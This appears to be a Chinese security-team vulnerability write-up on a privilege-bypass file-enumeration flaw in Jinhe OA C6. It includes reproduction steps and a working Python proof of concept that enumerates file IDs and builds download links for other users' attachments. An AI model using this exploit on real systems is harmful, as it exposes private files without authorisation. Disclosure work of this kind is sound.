金和OA C6 后台越权敏感文件遍历漏洞

  • A+
所属分类:安全文章

点击蓝字

金和OA C6 后台越权敏感文件遍历漏洞

关注我们



声明

本文作者:PeiQi
本文字数:800

阅读时长:5min

附件/链接:点击查看原文下载

本文属于【狼组安全社区】原创奖励计划,未经许可禁止转载


由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,狼组安全团队以及文章作者不为此承担任何责任。

狼组安全团队有对此文章的修改和解释权。如欲转载或传播此文章,必须保证此文章的完整性,包括版权声明等全部内容。未经狼组安全团队允许,不得任意修改或者增减此文章内容,不得以任何方式将其用于商业目的。



前言




一、

漏洞描述

金和OA C6 存在后台越权敏感文件遍历漏洞,普通用户通过遍历特殊参数可以获取其他用户上传的敏感文件

二、

漏洞影响

金和OA C6

三、

漏洞复现

登录后点击信息交流,发起协同页面

金和OA C6 后台越权敏感文件遍历漏洞

上传附件并上传发送给目标

这里登录权限为管理员,我们自己发给自己就好,前文只是展现漏洞挖掘思路过程

金和OA C6 后台越权敏感文件遍历漏洞

成功收到上传的附件

金和OA C6 后台越权敏感文件遍历漏洞

点击查看时抓包,发现一个带有文件ID的请求包

金和OA C6 后台越权敏感文件遍历漏洞

返回了几个参数

var strFilePath = '../Resource/slaves/1/8b473ecb-7b39-4384-ada2-b0ec72c4f6ed.png';var strFileType = 'png';var strSid='3jvpvhs410m2wdbbficax5q5';var strFileIDCode='us9w7xWE7do=';var strId = '1229';var strTxtReg = 'txt,ini,xml,config,htm,html,js,css,asp,aspx,jsp,cs,sql,inf,htc,log';var strImgReg = 'jpg,gif,jpeg,png,ico';var MD = '';
其中我们注意到 strFilePath 为文件的存储地址,我们更改 id参数为另一个值,且测试后发现 name文件名参数无关紧要

金和OA C6 后台越权敏感文件遍历漏洞

改ID后发送请求包发现获得另一个文件的信息

访问Url,注意 type参数 需要为正确的文件后缀才可以访问

http://xxx.xxx.xxx.xxx/C6/control/OpenFile.aspx?id=1200&name=&type=pdf

金和OA C6 后台越权敏感文件遍历漏洞

这里更换一个普通用户测试是否可行,尝试遍历 id

金和OA C6 后台越权敏感文件遍历漏洞


金和OA C6 后台越权敏感文件遍历漏洞

存在 strFilePath参数 则是存在文件,为空则是文件已经不存在

同时抓包下载文件页面也可以看到可获取的参数

FileID 与 FileIDCode

金和OA C6 后台越权敏感文件遍历漏洞

于是只需要通过刚刚的ID遍历,获取两个关键参数就能下载其他人发送的敏感文件,且只需要普通用户权限

四、

漏洞POC

POC只检测是否存在漏洞,且漏洞存在于后台需要登录运行后访问链接即可下载文件
import requestsimport sysimport randomimport reimport base64import timefrom requests.packages.urllib3.exceptions import InsecureRequestWarning
def title(): print('+------------------------------------------') print('+ 33[34mPOC_Des: http://wiki.peiqi.tech 33[0m') print('+ 33[34mGithub : https://github.com/PeiQi0 33[0m') print('+ 33[34m公众号 : PeiQi文库 33[0m') print('+ 33[34mVersion: 金和OA C6 33[0m') print('+ 33[36m使用格式: python3 poc.py 33[0m') print('+ 33[36mUrl >>> http://xxx.xxx.xxx.xxx 33[0m') print('+------------------------------------------')
def POC_1(target_url, file_id, cookie): vuln_url = target_url + "/C6/control/OpenFile.aspx?id={}&name=&type=pdf".format(file_id) headers = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36", "Content-Type": "application/x-www-form-urlencoded", "Cookie":cookie } try: requests.packages.urllib3.disable_warnings(InsecureRequestWarning) response = requests.get(url=vuln_url, headers=headers, verify=False, timeout=5) print("33[36m[o] 正在请求 Url: {}33[0m".format(vuln_url)) if "strFilePath =" in response.text and response.status_code == 200: strFilePath = re.findall(r"var strFilePath = '(.*?)';", response.text)[0] strFileType = strFilePath[-3:] strFileIDCode = re.findall(r"var strFileIDCode='(.*?)';", response.text)[0] strId = re.findall(r"var strId = '(.*?)';", response.text)[0] sid = re.findall(r'ASP.NET_SessionId=(.*?);', cookie)[0] if strFilePath != "": print("33[36m[o] 目标 {} 存在漏洞, 获取文件信息:n[o] 文件路径:{}n[o] 文件类型:{}n[o] 文件ID code:{}n[o] 文件编号:{}33[0m".format(target_url, strFilePath, strFileType,strFileIDCode, strId )) print("33[32m[o] 文件下载链接为: {}/C6/JHSoft.Web.CustomQuery/uploadFileDownLoad.aspx?Decrypt=&FileID={}&FileIDCode={}&sid={}".format(target_url, strId, strFileIDCode, sid)) else: print("33[31m[x] 目标 {} 文件不存在 33[0m".format(target_url)) else: print("33[31m[x] 目标 {} 不存在漏洞 33[0m".format(target_url))
except Exception as e: print("33[31m[x] 请求失败 33[0m", e)

if __name__ == '__main__': title() target_url = str(input("33[35mPlease input Attack UrlnUrl >>> 33[0m")) file_id = str(input("33[35mFile_id >>> 33[0m")) cookie = str(input("33[35mCookie >>> 33[0m")) POC_1(target_url, file_id, cookie)

金和OA C6 后台越权敏感文件遍历漏洞




作者



金和OA C6 后台越权敏感文件遍历漏洞

推荐一下PeiQi的个人公众号~



扫描关注公众号回复加群

和师傅们一起讨论研究~


WgpSec狼组安全团队

微信号:wgpsec

Twitter:@wgpsec


金和OA C6 后台越权敏感文件遍历漏洞
金和OA C6 后台越权敏感文件遍历漏洞


本文始发于微信公众号(WgpSec狼组安全团队):金和OA C6 后台越权敏感文件遍历漏洞

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: